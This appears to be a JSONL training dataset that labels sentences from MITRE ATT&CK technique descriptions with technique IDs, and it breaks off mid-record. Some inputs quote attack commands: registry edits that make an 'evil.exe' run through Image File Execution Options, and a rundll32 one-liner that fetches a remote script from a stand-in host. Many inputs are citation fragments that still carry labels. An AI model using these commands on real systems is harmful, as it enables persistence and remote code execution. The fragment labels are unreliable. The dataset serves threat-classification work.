example, those belonging to individuals who are no longer part of an organization. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems.", "output": "T1078.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. ### Response: T1078.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial.", "output": "T1078.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. ### Response: T1078.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary.", "output": "T1078.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. ### Response: T1078.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)", "output": "T1078.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) ### Response: T1078.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse time providers to execute DLLs when the system boots.", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse time providers to execute DLLs when the system boots. ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation:", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft W32Time Feb 2018)", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft W32Time Feb 2018) ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>.(Citation:", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>.(Citation: ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider) ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider) ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider.", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation:", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Github W32Time Oct 2017)", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Github W32Time Oct 2017) ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application.", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g  notepad.exe\u201d).", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g  notepad.exe\u201d). ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Dev Blog IFEO Mar 2010)", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Dev Blog IFEO Mar 2010) ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool.", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File Execution Options\\<executable></code> where <code><executable></code> is the binary on which the debugger is attached.", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File Execution Options\\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Dev Blog IFEO Mar 2010)", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Dev Blog IFEO Mar 2010) ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process).", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>.", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GlobalFlag /t REG_DWORD /d", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GlobalFlag /t REG_DWORD /d ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "512</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 512</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ReportingMode /t REG_DWORD /d", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ReportingMode /t REG_DWORD /d ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "1</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 1</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MonitorProcess /d \"C:\\temp\\evil.exe\"</code>\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer.", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MonitorProcess /d \"C:\\temp\\evil.exe\"</code>\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installing IFEO mechanisms may also provide Persistence via continuous invocation.", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installing IFEO mechanisms may also provide Persistence via continuous invocation. ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications.", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", "output": "T1183", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) ### Response: T1183."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The rundll32.exe program can be called to execute an arbitrary binary.", "output": "T1085", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The rundll32.exe program can be called to execute an arbitrary binary. ### Response: T1085."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.", "output": "T1085", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. ### Response: T1085."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>.", "output": "T1085", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. ### Response: T1085."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Double-clicking a .cpl file also causes rundll32.exe to execute.", "output": "T1085", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Double-clicking a .cpl file also causes rundll32.exe to execute. ### Response: T1085."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript.", "output": "T1085", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. ### Response: T1085."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>", "output": "T1085", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code> ### Response: T1085."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior has been seen used by malware such as Poweliks.", "output": "T1085", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior has been seen used by malware such as Poweliks. ### Response: T1085."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: This is Security Command Line Confusion)", "output": "T1085", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: This is Security Command Line Confusion) ### Response: T1085."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry.", "output": "T1031", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. ### Response: T1031."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).", "output": "T1031", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). ### Response: T1031."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API.", "output": "T1031", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. ### Response: T1031."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging.", "output": "T1031", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. ### Response: T1031."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.", "output": "T1031", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. ### Response: T1031."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands.", "output": "T1031", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. ### Response: T1031."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Twitter Service Recovery Nov 2017)", "output": "T1031", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Twitter Service Recovery Nov 2017) ### Response: T1031."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Service Recovery Feb 2013)", "output": "T1031", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Service Recovery Feb 2013) ### Response: T1031."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal.", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered 